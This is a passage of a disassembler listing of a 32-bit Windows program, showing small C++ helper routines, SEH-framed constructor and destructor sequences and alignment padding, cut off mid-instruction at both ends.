[esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4160C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4160F0 proc near ; CODE XREF: sub_401EA6j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4160F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416120 proc near ; CODE XREF: sub_401CFDj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4012CB mov edi, eax push edi call sub_4017D5 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401DA2 sub_416120 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4017D5 push edi mov [eax], ebx call sub_4017D5 mov edi, [eax] push edi call sub_4017D5 mov ecx, [eax] push ecx call sub_401BB8 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4017DA add esp, 4 mov ecx, esi push eax call sub_401DFC mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D66 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4161C0 proc near ; CODE XREF: sub_401078j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401EA1 mov ecx, eax call sub_4012CB mov esi, eax push esi call sub_401BB8 push esi mov ebx, eax call sub_4017D5 mov ecx, [eax] push ecx call sub_401BB8 mov edx, [ebx] push esi mov [eax], edx call sub_4017D5 push esi mov ebx, eax call sub_401BB8 mov eax, [eax] push eax call sub_4017D5 mov ecx, [ebx] push esi mov [eax], ecx call sub_4017DA add esp, 1Ch mov ecx, edi push eax call sub_4013F7 push esi mov ecx, edi call sub_401EF6 sub_4161C0 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416280 proc near ; CODE XREF: sub_401401j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jz short loc_4162DA loc_416298: ; CODE XREF: sub_416280+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401EA1 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jnz short loc_416298 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4162DA: ; CODE XREF: sub_416280+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416280 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416310 proc near ; CODE XREF: sub_401DA2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401E9C sub_416310 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_416325 mov edi, esi loc_416325: ; CODE XREF: ___:00416321j push esi call sub_401BB8 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_41633A mov edi, esi loc_41633A: ; CODE XREF: ___:00416336j push esi call sub_4017D5 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416360 proc near ; CODE XREF: sub_401EF6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401857 sub_416360 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416380 proc near ; CODE XREF: sub_401BB8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416380 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163A0 proc near ; CODE XREF: sub_4017DAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4163A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163C0 proc near ; CODE XREF: sub_401E29j mov eax, ecx retn sub_4163C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163E0 proc near ; CODE XREF: sub_401D66j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40160E mov eax, esi pop esi retn 4 sub_4163E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416410 proc near ; CODE XREF: sub_401EA1j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40118B mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_416410 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416440 proc near ; CODE XREF: sub_40144Cj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_416440 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416470 proc near ; CODE XREF: sub_401104j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_416470 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416490 proc near ; CODE XREF: sub_4020D6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416490 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4164C0 proc near ; CODE XREF: sub_401E01j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_4164C0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164E0 proc near ; CODE XREF: sub_402194j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40125D add esp, 8 retn 8 sub_4164E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416510 proc near ; CODE XREF: sub_4014F6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_6 pop ecx retn 4 sub_416510 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416530 proc near ; CODE XREF: sub_401753j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_416530 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416550 proc near ; CODE XREF: sub_401A4Bj mov eax, [ecx] push eax call sub_401EFB add esp, 4 retn sub_416550 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416570 proc near ; CODE XREF: sub_4020EFj push esi mov esi, ecx mov eax, [esi] push eax call sub_40208B mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_416570 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165A0 proc near ; CODE XREF: sub_401CA8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401E56 neg al sbb eax, eax inc eax retn 4 sub_4165A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165D0 proc near ; CODE XREF: sub_401C4Ej mov eax, [ecx] retn sub_4165D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165F0 proc near ; CODE XREF: sub_401163j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4165F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416610 proc near ; CODE XREF: sub_4015A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416610 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416640 proc near ; CODE XREF: sub_4010D7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_416640 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416660 proc near ; CODE XREF: sub_4015E6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_402040 add esp, 8 retn 8 sub_416660 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416690 proc near ; CODE XREF: sub_401D4Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_5 pop ecx retn 4 sub_416690 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166B0 proc near ; CODE XREF: sub_401357j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4166B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166D0 proc near ; CODE XREF: sub_401F6Ej mov eax, [ecx] retn sub_4166D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166F0 proc near ; CODE XREF: sub_4017D5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4166F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416710 proc near ; CODE XREF: sub_401E9Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416710 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416740 proc near ; CODE XREF: sub_401857j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_416740 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416760 proc near ; CODE XREF: sub_401DFCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4020CC add esp, 8 retn 8 sub_416760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416790 proc near ; CODE XREF: sub_4013F7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_3 pop ecx retn 4 sub_416790 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167B0 proc near ; CODE XREF: sub_40160Ej arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4167B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167D0 proc near ; CODE XREF: sub_4012CBj mov eax, [ecx] retn sub_4167D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167F0 proc near ; CODE XREF: sub_401E56j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4167F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416820 proc near ; CODE XREF: sub_40125Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41683B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41683B: ; CODE XREF: sub_416820+11j retn sub_416820 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416870 proc near ; CODE XREF: sub_402040j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41688B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41688B: ; CODE XREF: sub_416870+11j retn sub_416870 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168C0 proc near ; CODE XREF: sub_4020CCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_4168DB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_4168DB: ; CODE XREF: sub_4168C0+11j retn sub_4168C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] aRrrrrrrrrrrrrr db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0 align 4 dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447158B9h dd 0B508E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) dd 41697068h, 0FF6CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh) dd 447158B9h, 0B2CAE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_416990: ; CODE XREF: ___:00401C44j push 0FFFFFFFFh push offset loc_439FE1 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+9FD83h] mov dword ptr [esp+10h], 1Ah call sub_4021DA ; --------------------------------------------------------------------------- lea ecx, [esi+9FD6Ch] mov byte ptr [esp+10h], 19h call sub_401226 lea ecx, [esi+9FD57h] mov byte ptr [esp+10h], 18h call sub_401226 lea ecx, [esi+9FD42h] mov byte ptr [esp+10h], 17h call sub_401226 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+10h], 16h call sub_401226 lea ecx, [esi+9FC42h] mov byte ptr [esp+10h], 15h call sub_401EE2 lea ecx, [esi+9FC31h] mov byte ptr [esp+10h], 14h call sub_40176C lea ecx, [esi+9FBFFh] mov byte ptr [esp+10h], 13h call sub_401FF5 lea ecx, [esi+9FBCDh] mov byte ptr [esp+10h], 12h call sub_401DED lea ecx, [esi+9FB93h] mov byte ptr [esp+10h], 11h call sub_40187A lea ecx, [esi+9FB05h] mov byte ptr [esp+10h], 10h call sub_401113 lea ecx, [esi+9FAD3h] mov byte ptr [esp+10h], 0Fh call sub_401F28 lea ecx, [esi+9FA73h] mov byte ptr [esp+10h], 0Eh call sub_401B27 lea ecx, [esi+9FA13h] mov byte ptr [esp+10h], 0Dh call sub_4017D0 lea ecx, [esi+8F4BFh] mov byte ptr [esp+10h], 0Ch call sub_4018CA lea ecx, [esi+8F3A2h] mov byte ptr [esp+10h], 0Bh call sub_401EB0 lea ecx, [esi+8F285h] mov byte ptr [esp+10h], 0Ah call sub_402216 lea ecx, [esi+8F270h] mov byte ptr [esp+10h], 9 call sub_4017A3 lea ecx, [esi+8F247h] mov byte ptr [esp+10h], 8 call sub_401A23 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+10h], 7 call sub_4013C0 ; --------------------------------------------------------------------------- lea ecx, [esi+1E6Fh] mov byte ptr [esp+10h], 6 call sub_401235 lea ecx, [esi+1D29h] mov byte ptr [esp+10h], 5 call sub_401E83 lea ecx, [esi+1C58h] mov byte ptr [esp+10h], 4 call sub_4014F1 lea ecx, [esi+1BBEh] mov byte ptr [esp+10h], 3 call sub_401AE6 ; --------------------------------------------------------------------------- lea ecx, [esi+1B46h] mov byte ptr [esp+10h], 2 call sub_401C8F ; --------------------------------------------------------------------------- lea ecx, [esi+15Fh] mov byte ptr [esp+10h], 1 call sub_401929 lea ecx, [esi+3Eh] mov byte ptr [esp+10h], 0 call sub_40143D mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401262 ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C00 proc near ; CODE XREF: sub_401A23j push esi mov esi, ecx mov eax, [esi+15h] mov dword ptr [esi], offset off_43E050 test eax, eax jle short loc_416C17 push eax nop call near ptr 71AB9639h loc_416C17: ; CODE XREF: sub_416C00+Ej mov ecx, esi call sub_402031 pop esi retn sub_416C00 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C30 proc near ; CODE XREF: ___:0040126Cj sub_4019BFj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A23 test [esp+4+arg_0], 1 jz short loc_416C48 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416C48: ; CODE XREF: sub_416C30+Dj mov eax, esi pop esi retn 4 sub_416C30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C60 proc near ; CODE XREF: sub_4017A3j push esi mov esi, ecx mov eax, [esi+11h] mov dword ptr [esi], offset off_43E05C test eax, eax jle short loc_416C77 push eax nop call near ptr 71AB9639h loc_416C77: ; CODE XREF: sub_416C60+Ej mov ecx, esi call sub_402031 pop esi retn sub_416C60 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416C90: ; CODE XREF: ___:00401627j ; ___:loc_401C99j push esi mov esi, ecx call sub_4017A3 test byte ptr [esp+8], 1 jz short loc_416CA8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416CA8: ; CODE XREF: ___:00416C9Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416CC0 proc near ; CODE XREF: sub_40176Cj mov dword ptr [ecx], offset off_43E068 jmp sub_402031 sub_416CC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416CE0: ; CODE XREF: ___:loc_40191Aj ; ___:0040218Aj push esi mov esi, ecx call sub_40176C test byte ptr [esp+8], 1 jz short loc_416CF8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416CF8: ; CODE XREF: ___:00416CEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D10 proc near ; CODE XREF: sub_40187Aj mov dword ptr [ecx], offset off_43E074 add ecx, 4 jmp sub_401023 sub_416D10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416D30: ; CODE XREF: ___:00401E42j push 0FFFFFFFFh push offset loc_43A1C1 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+8], esi call sub_40209F ; --------------------------------------------------------------------------- lea ecx, [esi+3Eh] mov dword ptr [esp+14h], 0 call sub_4015DC lea ecx, [esi+15Fh] mov byte ptr [esp+14h], 1 call sub_40129E lea ecx, [esi+1B46h] mov byte ptr [esp+14h], 2 call sub_401FFA ; --------------------------------------------------------------------------- lea ecx, [esi+1BBEh] mov byte ptr [esp+14h], 3 call sub_4019F1 ; --------------------------------------------------------------------------- lea ecx, [esi+1C58h] mov byte ptr [esp+14h], 4 call sub_40157D lea ecx, [esi+1D29h] mov byte ptr [esp+14h], 5 call sub_401645 lea ecx, [esi+1E6Fh] mov byte ptr [esp+14h], 6 call sub_401776 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+14h], 7 call sub_401695 lea ecx, [esi+8F247h] mov byte ptr [esp+14h], 8 call sub_401820 lea ecx, [esi+8F270h] mov byte ptr [esp+14h], 9 call sub_4016B3 lea ecx, [esi+8F285h] mov byte ptr [esp+14h], 0Ah call sub_401415 lea ecx, [esi+8F3A2h] mov byte ptr [esp+14h], 0Bh call sub_401302 lea ecx, [esi+8F4BFh] mov byte ptr [esp+14h], 0Ch call sub_401271 lea ecx, [esi+8F51Fh] mov byte ptr [esp+14h], 0Dh call sub_401D11 lea ecx, [esi+9FA13h] call sub_4012FD lea ecx, [esi+9FA73h] mov byte ptr [esp+14h], 0Eh call sub_401A7D lea ecx, [esi+9FAD3h] mov byte ptr [esp+14h], 0Fh call sub_401285 lea ecx, [esi+9FB05h] mov byte ptr [esp+14h], 10h call sub_401CA3 lea ecx, [esi+9FB93h] mov byte ptr [esp+14h], 11h call sub_402103 ; --------------------------------------------------------------------------- mov byte ptr [esp+14h], 12h lea ecx, [esi+9FBCDh] call sub_401573 lea ecx, [esi+9FBFFh] mov byte ptr [esp+14h], 13h call sub_40178F lea ecx, [esi+9FC31h] mov byte ptr [esp+14h], 14h call sub_401069 lea ecx, [esi+9FC42h] mov byte ptr [esp+14h], 15h call sub_401073 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+14h], 16h call sub_401424 lea ecx, [esi+9FD42h] mov byte ptr [esp+14h], 17h call sub_401424 lea ecx, [esi+9FD57h] mov byte ptr [esp+14h], 18h call sub_401424 lea ecx, [esi+9FD6Ch] mov byte ptr [esp+14h], 19h call sub_401424 lea eax, [esp+7] lea ecx, [esi+9FD83h] push eax mov byte ptr [esp+18h], 1Ah call sub_401AFA ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416FB0 proc near ; CODE XREF: sub_401262j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_416FB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401B09 sub_416FB0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417020 proc near ; CODE XREF: sub_401929j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417020 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+179Fh] mov [esp+14h+var_4], 3Ch call sub_40206D lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_40206D lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_40206D lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_40206D lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_40206D mov byte ptr [esp+14h+var_4], 37h lea ecx, [esi+0E51h] call sub_401023 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401023 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401023 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401023 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401023 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401023 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401023 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401023 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401023 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401023 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401023 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401023 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401023 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401023 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401023 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401023 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401023 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_401AD2 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_401AD2 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_401AD2 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_401AD2 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_401AD2 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_401AD2 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_401AD2 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_401AD2 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_401AD2 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_401AD2 mov byte ptr [esp+14h+var_4], 1Ch lea ecx, [esi+84Eh] call sub_401AD2 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_401AD2 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_401AD2 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_401AD2 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_401AD2 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_401AD2 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_401AD2 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_401AD2 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_401AD2 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_401AD2 lea ecx, [esi+574h] mov byte ptr [esp+14h+var_4], 12h call sub_401AD2 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_401AD2 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_401AD2 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call 